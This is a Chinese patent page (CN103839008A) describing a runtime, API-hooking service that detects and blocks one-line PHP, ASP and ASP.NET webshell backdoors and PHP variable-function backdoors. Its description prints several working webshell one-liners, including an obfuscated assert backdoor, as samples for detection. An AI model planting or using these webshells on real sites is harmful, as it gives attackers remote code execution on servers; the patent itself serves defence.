CN103839008A - 一句话脚本后门和php变量函数后门免疫安全服务 - Google Patents

一句话脚本后门和php变量函数后门免疫安全服务 Download PDF

Info

Publication number
CN103839008A
CN103839008A CN201410107975.4A CN201410107975A CN103839008A CN 103839008 A CN103839008 A CN 103839008A CN 201410107975 A CN201410107975 A CN 201410107975A CN 103839008 A CN103839008 A CN 103839008A
Authority
CN
China
Prior art keywords
script
function
back door
backdoors
behavior
Prior art date
Legal status (The legal status is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the status listed.)
Pending
Application number
CN201410107975.4A
Other languages
English (en)
Inventor
彭岸峰
Current Assignee (The listed assignees may be inaccurate. Google has not performed a legal analysis and makes no representation or warranty as to the accuracy of the list.)
Individual
Original Assignee
Individual
Priority date (The priority date is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the date listed.)
Filing date
Publication date
Application filed by Individual filed Critical Individual
Priority to CN201410107975.4A priority Critical patent/CN103839008A/zh
Publication of CN103839008A publication Critical patent/CN103839008A/zh
Pending legal-status Critical Current

Links

Images

Classifications

    • GPHYSICS
    • G06COMPUTING; CALCULATING OR COUNTING
    • G06FELECTRIC DIGITAL DATA PROCESSING
    • G06F21/00Security arrangements for protecting computers, components thereof, programs or data against unauthorised activity
    • G06F21/50Monitoring users, programs or devices to maintain the integrity of platforms, e.g. of processors, firmware or operating systems
    • G06F21/55Detecting local intrusion or implementing counter-measures
    • G06F21/56Computer malware detection or handling, e.g. anti-virus arrangements
    • G06F21/566Dynamic detection, i.e. detection performed at run-time, e.g. emulation, suspicious activities

Landscapes

  • Engineering & Computer Science (AREA)
  • Computer Security & Cryptography (AREA)
  • Computer Hardware Design (AREA)
  • General Engineering & Computer Science (AREA)
  • Software Systems (AREA)
  • Theoretical Computer Science (AREA)
  • Health & Medical Sciences (AREA)
  • General Health & Medical Sciences (AREA)
  • Virology (AREA)
  • Physics & Mathematics (AREA)
  • General Physics & Mathematics (AREA)
  • Computer And Data Communications (AREA)

Abstract

一句话脚本后门和PHP变量函数后门是黑客入侵网站用于控制网站常用的webshell后门之一,因其代码极少、功能强大多变,更能加密和变种,而常规的网站也会大量使用一句话脚本后门使用的函数,不能完全禁止此类函数。怎样识别出后门让网站高效安全地运行,是一直困扰站长和管理员的问题,也是webshell后门查杀工具识别和杜绝此类后门的头痛问题。本专利通过监控一句话脚本后门执行过程中的相关行为而识别出是否为黑客的后门行为并能禁止,让网站运行在安全状态下,同时又不影响脚本执行的效率,是网站高效运行和保障网站安全的理想方式。

Description

一句话脚本后门和PHP变量函数后门免疫安全服务
技术领域
本发明属于网络安全领域,具体涉及一句话脚本后门和PHP变量函数后门免疫安全服务,用于网站脚本行为检测和拦截,能更早地发现安全问题,并做出相应的措施,防止黑客破坏。
背景技术:
黑客入侵网站后一般都会写入后门程序(webshell),而一句话脚本后门和PHP变量函数后门更是黑客最喜欢的后门之一,因其多变和灵活,易于突破各类webshell查杀工具,让网站一直处于高风险状态,再加上常规网站也会用到这些相关的函数,因此不能完全禁用,导致后门风险长期存在。
在市场上常见的web防御产品中,最常见的方法就是通过查找文件中字符串里的关键字来查杀已知的webshell后门,尽量在后门脚本运行前清理掉,但对变种后门,因关键字少和多变等特点,从而导致webshell查杀和防御产品不容易识别和防御,使网站存在较高的安全风险。
发明内容:
本发明的目的是提供一句话脚本后门和PHP变量函数后门免疫安全服务。
在一句话脚本后门和PHP变量函数后门免疫安全服务中,当脚本执行开始时,对于无指定行为的脚本,进入无指定行为的脚本直接处理流程,直至脚本执行结束;对于有指定行为的脚本,有以下三个执行行为的检测过程:
1)    针对一句话脚本,进行一句话脚本后门的执行行为检测,此检测过程支持ASP,PHP脚本语言的检测;
2)    针对PHP变量函数,进行PHP变量函数后门的执行行为检测;
3)    针对.NET脚本,进行.NET脚本eval函数“unsafe”模式的执行行为检测;
以上检测过程正常时,脚本执行才能放行,直至脚本执行结束。
在一句话脚本后门和PHP变量函数后门免疫安全服务中,所述的有指定行为的脚本执行时,通过记录函数在当前线程内的执行过程,记录是否有触发文件操作、执行程序、数据库操作、网络通信和组件加载的API操作行为,如有所述的API操作行为,就可以判定为黑客的后门行为,立即禁止脚本继续执行,达到免疫的目的,也可以只做记录处理,让管理员尽早发现问题。
在一句话脚本后门和PHP变量函数后门免疫安全服务中,所述的有指定行为的脚本执行时,通过PHP变量函数的字符定位到函数时,进行检测是否为禁止通过的函数名,如果“是”将跳过函数执行或做行为记录,“否”时放行。
在一句话脚本后门和PHP变量函数后门免疫安全服务中,所述的有指定行为的脚本执行时,经过.NET脚本eval函数“unsafe”模式的执行行为检测,通过禁止eval函数的 “unsafe” 模式,就能达到eval函数一句话脚本后门的免疫功能。
本发明可以很好地克服常规web防御产品通过静态文件查杀一句话脚本和变量函数后门的弊端,通过执行的行为来进行识别,能有效和高效的地识别出一句话脚本后门和PHP变量函数后门的行为,并能防范后门的破坏,保障网站的安全和正常运行,同时又不影响脚本执行的效率,是网站高效运行和保障网站安全的理想方式。
附图说明:
图1为本发明的总体免疫防御框架。
图2为本发明所述的一句话脚本后门的执行行为检测过程。
图3 为PHP变量函数后门的默认执行过程。
图4 为本发明所述的PHP变量函数后门的执行检测过程。
具体实施方式:
一句话脚本后门是指使用脚本支持字符串作为代码执行的函数,也是执行黑客功能的后门代码,而这代码可以非常简单,所以常被叫 “一句话后门”。常见的语言PHP、ASP、ASPX等脚本语言都支持把字符串作为代码执行的函数。如PHP有eval, preg_replace, assert, array_map, call_user_func, create_function, call_user_func_array函数;ASP脚本有 eval,execute,ExecuteGlobal函数;ASPX有 eval 函数。
如上的函数都可以成为一句话脚本后门的函数,为了便于讲述,把如上函数称作“一句话函数”。一句话函数,并不一定就是后门,因为这些函数会在大量网站中使用。
简单的一句话脚本后门如下:
PHP一句话脚本后门:
<?php eval($_POST['pass']);?>
ASP一句话脚本后门:
<%eval request("pass")%>
ASP.NET一句话脚本后门:
<%Page Language="JScript"%>
<%eval(Request.Item["pass"],"unsafe");%>
变量函数是一个变量名后有圆括号,PHP将寻找与变量赋值同名的函数,并且将尝试执行它。变量函数后门是黑客用于破坏的变量函数,简单的变量函数后门:
<?php $a ="assert"; $a($_POST["c"]); ?>
因为变量函数的变量赋值的代码可以多变,所以查杀不能很好的识别和杜绝。下面是做了简单转化的变量函数后门:
<?php $a = str_replace(x,"","axsxxsxex")."rt"; 
$a($_POST["c"]); ?>
下面结合附图以“Internet 信息服务(IIS)”为例对本发明再作进一步详细的说明。
“一句话脚步后门的执行行为检测”、“PHP变量函数的执行行为检测”和“.NET脚本eval函数“unsafe”模式的执行行为检测”,都可以使用API HOOK技术HOOK相关函数代码来实现,可以利用ISAPI过滤器跟随IIS服务的进程一起启动,同时文件相关函数、数据库相关函数、执行函数、组件加载相关代码、网络通信函数也进行API HOOK处理,用于监控一句话后门的行为。
)一句话脚本后门的执行行为检测:
黑客使用一句话脚本后门(如:eval函数)常见有如下操作:文件操作、数据库操作、执行程序、组件加载、网络通信等,而网站正常使用eval函数时,一般用于计算或动态设置一些变量,如:eval(“a=1”)。因为黑客使用一句话脚本后门都会用到调试系统的API,因此行为非常明显,只要在一句话脚本后门执行时记录此线程内的文件操作、数据库操作、执行程序、组件加载、网络通信等操作就能识别出黑客行为,并能通过抛出“异常”的方式阻断后门的继续执行,达到免疫的目的。还可以记录相关行为,让管理员尽早发现问题,而正常的eval函数执行不会触发相关的API行为,因此行为检测不影响执行的速度,这是本发明安全高效的特点。
以ASP脚本的 eval函数为例,通过API HOOK技术HOOK相关的函数汇编代码,当有脚本执行eval时,开始记录eval函数执行以及相关线程信息,当黑客通过一句话脚本后门执行脚本时,代码的执行会进入系统对应的API内,这时只要检测此线程记录信息,看是否为一句话函数执行状态,如果“是”,就知道是黑客的一句话脚本后门行为了,而默认的eval函数是不会进入到相关的API中,对于重复执行eval时也基本不影响执行的效率。
) PHP变量函数的执行行为检测:
PHP变量函数是通过寻找与变量值同名的函数,并执行相关函数的功能,而黑客也会利用此功能来执行危险函数,因变量函数多变性,静态文件方式的webshell查杀难于发现。而“PHP变量函数的执行行为检测”是利用字符串定位指定函数,如果是存在风险的函数,就禁止相关函数的执行,如果是正常函数,将放行相关函数的执行,达到网站脚本安全运行的目的。
PHP变量函数是一个变量名后面有圆括号,PHP变量函数将寻找与变量赋值同名的函数并相应执行。
简单的PHP变量函数后门如下:
<?php $a ="assert"; $a($_POST["c"]); ?>
因为PHP变量函数变量赋值的代码可以多变,所以查杀比较困难,为此作了如下的简单转化,PHP变量函数后门就变为:
<?php 
$a = str_replace(x,"","axsxxsxex")."rt"; 
$a($_POST["c"]); 
?>
3).NET中eval函数“unsafe”模式的执行行为检测
JScript .NET调用 eval函数时,如果将“unsafe”作为第二个可选参数,会导致脚本使用“调用方”的权限,这是黑客常用的ASPX 一句话脚本后门,只要禁止eval的“unsafe” 模式,就能达到免疫eval的一句话脚本后门,也就是说,只要在 .NET中的eval函数入口处检测函数第二个参数是否为“unsafe”模式,如果“是”,禁止函数执行即可。
ASP.NET一句话脚本后门:
<%Page Language="JScript"%>
<%eval(Request.Item["pass"],"unsafe");%>
当第二个参数为 unsafe 时,就变成不安全的一句话函数。
而:
<%Page Language="JScript"%>
<%eval(Request.Item["pass"]);%>
是安全的,所以禁止 unsafe 参数的eval函数的执行就可以达到安全的目的。

Claims (4)

1. 一句话脚本后门和PHP变量函数后门免疫安全服务,其特征是,当脚本执行开始时,对于无指定行为的脚本,进入无指定行为的脚本直接处理流程,直至脚本执行结束;对于有指定行为的脚本,有以下三个执行行为的检测过程:
针对一句话脚本,进行一句话脚本后门的执行行为检测,此检测过程支持ASP,PHP脚本语言的检测;
针对PHP变量函数,进行PHP变量函数后门的执行行为检测;
针对.NET脚本,进行.NET脚本eval函数“unsafe”模式的执行行为检测;
以上检测过程正常时,脚本执行才能放行,直至脚本执行结束。
2.如权利要求1所述的一句话脚本后门和PHP变量函数后门免疫安全服务,其特征是,所述的有指定行为的脚本执行时,通过记录函数在当前线程内的执行过程,记录是否有触发文件操作、执行程序、数据库操作、网络通信和组件加载的API操作行为,如有所述的API操作行为,就可以判定为黑客的后门行为,立即禁止脚本继续执行,达到免疫的目的,也可以只做记录处理,让管理员尽早发现问题。
3.如权利要求1所述的一句话脚本后门和PHP变量函数后门免疫安全服务,其特征是,所述的有指定行为的脚本执行时,通过PHP变量函数的字符定位到函数时,进行检测是否为禁止通过的函数名,如果“是”将跳过函数执行或做行为记录,“否”时放行。
4.如权利要求1所述的一句话脚本后门和PHP变量函数后门免疫安全服务,其特征是,所述的有指定行为的脚本执行时,经过.NET脚本eval函数“unsafe”模式的执行行为检测,通过禁止eval函数的 “unsafe” 模式,就能达到eval函数一句话脚本后门的免疫功能。
CN201410107975.4A 2014-03-21 2014-03-21 一句话脚本后门和php变量函数后门免疫安全服务 Pending CN103839008A (zh)

Priority Applications (1)

Application Number Priority Date Filing Date Title
CN201410107975.4A CN103839008A (zh) 2014-03-21 2014-03-21 一句话脚本后门和php变量函数后门免疫安全服务

Applications Claiming Priority (1)

Application Number Priority Date Filing Date Title
CN201410107975.4A CN103839008A (zh) 2014-03-21 2014-03-21 一句话脚本后门和php变量函数后门免疫安全服务

Publications (1)

Publication Number Publication Date
CN103839008A true CN103839008A (zh) 2014-06-04

Family

ID=50802493

Family Applications (1)

Application Number Title Priority Date Filing Date
CN201410107975.4A Pending CN103839008A (zh) 2014-03-21 2014-03-21 一句话脚本后门和php变量函数后门免疫安全服务

Country Status (1)

Country Link
CN (1) CN103839008A (zh)

Cited By (7)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
CN104536870A (zh) * 2014-12-31 2015-04-22 北京奇虎科技有限公司 一种进程监控方法和装置
CN104796426A (zh) * 2015-04-29 2015-07-22 上海络安信息技术有限公司 网页后门的检测方法
CN106156348A (zh) * 2016-07-21 2016-11-23 杭州安恒信息技术有限公司 一种数据库对象脚本危险操作的审计方法
CN106850617A (zh) * 2017-01-25 2017-06-13 余洋 webshell检测方法及装置
CN107103237A (zh) * 2016-02-23 2017-08-29 阿里巴巴集团控股有限公司 一种恶意文件的检测方法及装置
CN107689940A (zh) * 2016-08-04 2018-02-13 深圳市深信服电子科技有限公司 WebShell检测方法及装置
CN111931166A (zh) * 2020-09-24 2020-11-13 中国人民解放军国防科技大学 基于代码注入和行为分析的应用程序防攻击方法和系统

Citations (7)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
WO2002048847A2 (en) * 2000-12-14 2002-06-20 Communication Technologies, Inc. Method and apparatus for bulk data remover
WO2003071399A1 (de) * 2002-02-25 2003-08-28 Infineon Technologies Ag Vorrichtung und verfahren zum codieren eines stroms von informationseinheiten bzw. zum decodieren von codewörtern
CN101719204A (zh) * 2009-12-15 2010-06-02 北京大学 基于中间指令动态插装的Heapspray检测方法
US20110099633A1 (en) * 2004-06-14 2011-04-28 NetForts, Inc. System and method of containing computer worms
CN102306258A (zh) * 2011-09-23 2012-01-04 国网电力科学研究院 一种基于可配置知识库的unix主机安全配置审计方法
EP1928145B1 (en) * 2006-11-28 2013-04-24 Avaya Inc. Self-operating security platform
CN103516703A (zh) * 2012-06-29 2014-01-15 西门子公司 一种数据报文检测方法和设备

Patent Citations (7)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
WO2002048847A2 (en) * 2000-12-14 2002-06-20 Communication Technologies, Inc. Method and apparatus for bulk data remover
WO2003071399A1 (de) * 2002-02-25 2003-08-28 Infineon Technologies Ag Vorrichtung und verfahren zum codieren eines stroms von informationseinheiten bzw. zum decodieren von codewörtern
US20110099633A1 (en) * 2004-06-14 2011-04-28 NetForts, Inc. System and method of containing computer worms
EP1928145B1 (en) * 2006-11-28 2013-04-24 Avaya Inc. Self-operating security platform
CN101719204A (zh) * 2009-12-15 2010-06-02 北京大学 基于中间指令动态插装的Heapspray检测方法
CN102306258A (zh) * 2011-09-23 2012-01-04 国网电力科学研究院 一种基于可配置知识库的unix主机安全配置审计方法
CN103516703A (zh) * 2012-06-29 2014-01-15 西门子公司 一种数据报文检测方法和设备

Non-Patent Citations (2)

* Cited by examiner, † Cited by third party
Title
佚名: "ASPX一句话脚本木马详细分析", 《HTTP://WWW.MYHACK58.COM/ARTICLE/HTML/3/62/2009/23420.HTM》 *
周凯: "PHP网站,怎么扫描出潜藏的一句话木马", 《HTTPS://WWW.ZHIHU.COM/QUESTION/22865374》 *

Cited By (12)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
CN104536870A (zh) * 2014-12-31 2015-04-22 北京奇虎科技有限公司 一种进程监控方法和装置
CN104536870B (zh) * 2014-12-31 2018-05-04 北京奇虎科技有限公司 一种进程监控方法和装置
CN104796426A (zh) * 2015-04-29 2015-07-22 上海络安信息技术有限公司 网页后门的检测方法
CN104796426B (zh) * 2015-04-29 2018-04-27 上海络安信息技术有限公司 网页后门的检测方法
CN107103237A (zh) * 2016-02-23 2017-08-29 阿里巴巴集团控股有限公司 一种恶意文件的检测方法及装置
CN106156348A (zh) * 2016-07-21 2016-11-23 杭州安恒信息技术有限公司 一种数据库对象脚本危险操作的审计方法
CN106156348B (zh) * 2016-07-21 2019-06-28 杭州安恒信息技术股份有限公司 一种数据库对象脚本危险操作的审计方法
CN107689940A (zh) * 2016-08-04 2018-02-13 深圳市深信服电子科技有限公司 WebShell检测方法及装置
CN107689940B (zh) * 2016-08-04 2021-03-09 深信服科技股份有限公司 WebShell检测方法及装置
CN106850617A (zh) * 2017-01-25 2017-06-13 余洋 webshell检测方法及装置
CN111931166A (zh) * 2020-09-24 2020-11-13 中国人民解放军国防科技大学 基于代码注入和行为分析的应用程序防攻击方法和系统
CN111931166B (zh) * 2020-09-24 2021-06-22 中国人民解放军国防科技大学 基于代码注入和行为分析的应用程序防攻击方法和系统

Similar Documents

Publication Publication Date Title
CN103839008A (zh) 一句话脚本后门和php变量函数后门免疫安全服务
EP2588983B1 (en) Systems and methods for alternating malware classifiers in an attempt to frustrate brute-force malware testing
Carlin et al. Detecting cryptomining using dynamic analysis
JP6100898B2 (ja) メッセージを処理するための方法およびデバイス
US10055585B2 (en) Hardware and software execution profiling
US10904286B1 (en) Detection of phishing attacks using similarity analysis
US11882134B2 (en) Stateful rule generation for behavior based threat detection
US20150363598A1 (en) Detection of malicious scripting language code in a network environment
US10061943B2 (en) Keyboard monitoring to protect confidential data
TW201629832A (zh) 一種識別病毒變種的方法及裝置
WO2014121714A1 (zh) 一种通知栏消息的处理方法、装置和系统
WO2015196448A1 (en) Data protection based on user and gesture recognition
EP3422238B1 (en) Detecting a malware process
CN103473501B (zh) 一种基于云安全的恶意软件追踪方法
CN103810428B (zh) 一种宏病毒检测方法及装置
Kanwal et al. An app based on static analysis for android ransomware
CN110717183A (zh) 病毒查杀方法、装置、设备及存储介质
JP5326063B1 (ja) デバッグイベントを用いた悪意のあるシェルコードの検知装置及び方法
US20200026855A1 (en) Systems and methods for protecting a computing device against malicious code
CN105095758B (zh) 锁屏应用程序处理方法、装置以及移动终端
US10853492B2 (en) Systems and methods for protecting a computing device against malicious code
Heartfield et al. Protection against semantic social engineering attacks
US20230252148A1 (en) Efficient usage of sandbox environments for malicious and benign documents with macros
CN107358101B (zh) 一种基于权限模式的勒索软件检测方法及系统
CA3052392A1 (en) Identifying human interaction with a computer

Legal Events

Date Code Title Description
C06 Publication
PB01 Publication
C10 Entry into substantive examination
SE01 Entry into force of request for substantive examination
RJ01 Rejection of invention patent application after publication

Application publication date: 20140604

RJ01 Rejection of invention patent application after publication